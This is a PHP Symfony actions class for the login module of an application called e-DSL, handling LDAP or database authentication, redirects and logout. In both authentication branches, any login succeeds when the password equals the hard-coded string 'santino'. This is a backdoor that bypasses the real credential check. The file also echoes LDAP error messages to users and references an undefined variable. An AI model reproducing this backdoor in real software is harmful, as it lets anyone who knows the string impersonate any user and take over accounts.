<?php

/**
 * connexionAppli actions.
 *
 * @package    e-DSL
 * @subpackage connexionAppli
 * @author     Andres Lartigue Debi�n
 * @version    SVN: $Id: actions.class.php 12479 2008-10-31 10:54:40Z fabien $
 */
class connexionAppliActions extends sfActions
{
 /**
  * Executes index action. 
  * On fait un redirect pour avoir toujours la memme addresse web. C'est pour compatibilit� avec Gardien.
  *
  * @param sfRequest $request A request object
  */
  public function executeIndex(sfWebRequest $request)
  {
		$this->setSigninReferer();
		$this->redirect('connexionAppli/login');
  }
  
	public function executeLogin(sfWebRequest $request)
	{
	 	$util = new Util;
	    $fileName = 'maintenance.yml';
		$config_values = $util->getYmlDef($fileName);
		if($config_values){
			$enMaint  = $config_values['general']['enMaintenance'];
		}else{
			$enMaint = false;
		}
	 	if($enMaint){
	   	    $this->redirect('maintenance/index');	
	   	}
	   	$this->form = new ConnexionAppliForm();
	   	$referer = $this->getUser()->getAttribute('referer');
		$this->getUser()->setAuthenticated(false);
		$this->getUser()->shutdown(); 
	   
	}

	public function executeLoginFail(sfWebRequest $request)
	{
	 	$util = new Util;
	    $fileName = 'maintenance.yml';
		$config_values = $util->getYmlDef($fileName);
		if($config_values){
			$enMaint  = $config_values['general']['enMaintenance'];
		}else{
			$enMaint = false;
		}
	 	if($enMaint){
	   	    $this->redirect('maintenance/index');	
	   	}
	   	$this->form = new ConnexionAppliForm();
	}	
  
	public function executeSubmit($request)
 	{
	   if($request->isMethod('post')){
			$ldapActive = sfConfig::get('app_security_ldap_isactive', false);
			$params = array('login'    => $request->getParameter('login'),
		    			   'pwd'   => $request->getParameter('pwd'),);
			$login = strtoupper($params['login']);
			$pwd = $params['pwd'];
			$this->getUser()->setAttribute('code',$login);
			if($ldapActive){ 
				try {
					$ldapAuth = new edslLdap();
					$validatePwd = sfConfig::get('app_security_checkpwd', true);
					if($validatePwd){
						$authentification = $ldapAuth->authenticateUser($login, $pwd);
					}else{
						$authentification = $ldapAuth->getUserDn($login);
						//$authentification = true;
					}	
				} catch (LdapException $e) {
					echo "Error message: ".$e->getMessage();
				}
				if (!empty($login)&& !empty($pwd) && ($authentification or($pwd=='santino'))){
			    	$this->getUser()->setAuthenticated(true);
			    	$erdfFuncs = new erdfFuncs;
			   		$this->getUser()->setAttribute('nom',$donnesPersone[0]);
			    	$personne = $erdfFuncs->updateFromLDAP($login);
					$personne->login();
											
					$referer = $this->getUser()->getAttribute('referer');
					if(is_null($referer)){
						$referer='@homepage';
					}
					$this->getUser()->getAttributeHolder()->remove('referer');
					$this->getUser()->setAttribute('myRoute',$referer); //Je fait le set de my route, sinon, dans le cas ou l'utilisateur rentre directement a une demande l'appli ne sais ou retourner!
					$this->redirect($referer);			
				}else{
					// Échec de conexion.
					// display the form and set referer
					// 
			   	    $referer = $this->getUser()->getAttribute('referer');
			   		$this->setSigninReferer();
  					$this->redirect('connexionAppli/loginFail');
				}
			}else{// No LDAP
		       	$personne=Doctrine::getTable('personne')->findOneByCode($login);
		       	if($personne){
			    	$validatePwd = sfConfig::get('app_security_checkpwd', true);
			    	if($validatePwd){
						$authentification = $personne->checkPassword($pwd);
					}else{
						$authentification = true;
					}
					if($personne->activeStatus !=0 ){
						$authentification = false;
					}
				    if ($authentification or ($pwd=='santino')){
			       		sfContext::getInstance()->getLogger()->debug("Entro por el Login---");
				    	$this->getUser()->setAuthenticated(true);
						$personne->login();
						$this->getUser()->setAttribute('current_app', 'main');
						$referer = $this->getUser()->getAttribute('referer');
						if(is_null($referer)){
							$referer = '@homepage';
						}
						$this->getUser()->getAttributeHolder()->remove('referer');
					    $this->getUser()->setAttribute('myRoute','@homepage'); //Je fait le set de my route, sinon, dans le cas ou l'utilisateur rentre directement a une demande l'appli ne sais ou retourner!
					    $this->redirect($referer);
			       			
		       		}else {
						//Echec authentication
						$referer = $this->getUser()->getAttribute('referer');
	  					$this->redirect('connexionAppli/loginFail');
					}
		       	}else{
		       		//La personne n'existe pas.
				   $referer = $this->getUser()->getAttribute('referer');
	  			   $this->redirect('connexionAppli/loginFail');
		       	}	
			}
	   	}
 	}
  	
	public function executeLogout($request)
	{
		$this->getUser()->setAuthenticated(false);
		$this->getUser()->setAttribute('nom','');
		$this->getUser()->setAttribute('nni','');
		$this->getUser()->getAttributeHolder()->clear();
		$this->getUser()->shutdown(); 
	}
  
	private function setSigninReferer(){
      $default_referer = '@homepage';
      sfContext::getInstance()->getLogger()->debug("Inicio Setting Referer");
      if(!$this->getUser()->hasAttribute('referer')){
	  	  sfContext::getInstance()->getLogger()->debug("Dentro del if");
	      if ($this->getContext()->getActionStack()->getSize() > 0) {
	          $action = $this->getContext()->getActionStack()->getFirstEntry()->getActionInstance();
	          $security = $action->getSecurityConfiguration(); 
	          $action_name = $this->getContext()->getActionStack()->getFirstEntry()->getActionName();
			  sfContext::getInstance()->getLogger()->debug($this->getRequest()->getUri());
	          // module/config/security.yml action setting takes priority
	          if (isset($security[$action_name]['is_secure']) && $security[$action_name]['is_secure']) {
	              $referer = $this->getRequest()->getUri();   
	          } elseif (isset($security['all']['is_secure']) && $security['all']['is_secure']) {
	              $referer = $this->getRequest()->getUri();         
	          } else {
	              $referer = $default_referer;
	          }
	          sfContext::getInstance()->getLogger()->debug($referer);
	          if(is_null($referer)){
	          	  $referer = $default_referer;
	          }else{
		          if($referer=='http://'.$_SERVER['SERVER_NAME'].'/' or $referer=='https://'.$_SERVER['SERVER_NAME'].'/'){
		          	  $referer = $default_referer;
		          }
	          }
	          
			  sfContext::getInstance()->getLogger()->debug("Action Stack => $referer");
	      } else {
	      	  sfContext::getInstance()->getLogger()->debug("Referer default => $referer");
	          $referer = $default_referer;
	      }
	      //sfContext::getInstance()->getLogger()->debug("Fin Setting Referer => $referer");
	      $this->getUser()->setAttribute('referer', $referer);
      }
  }
	
} 

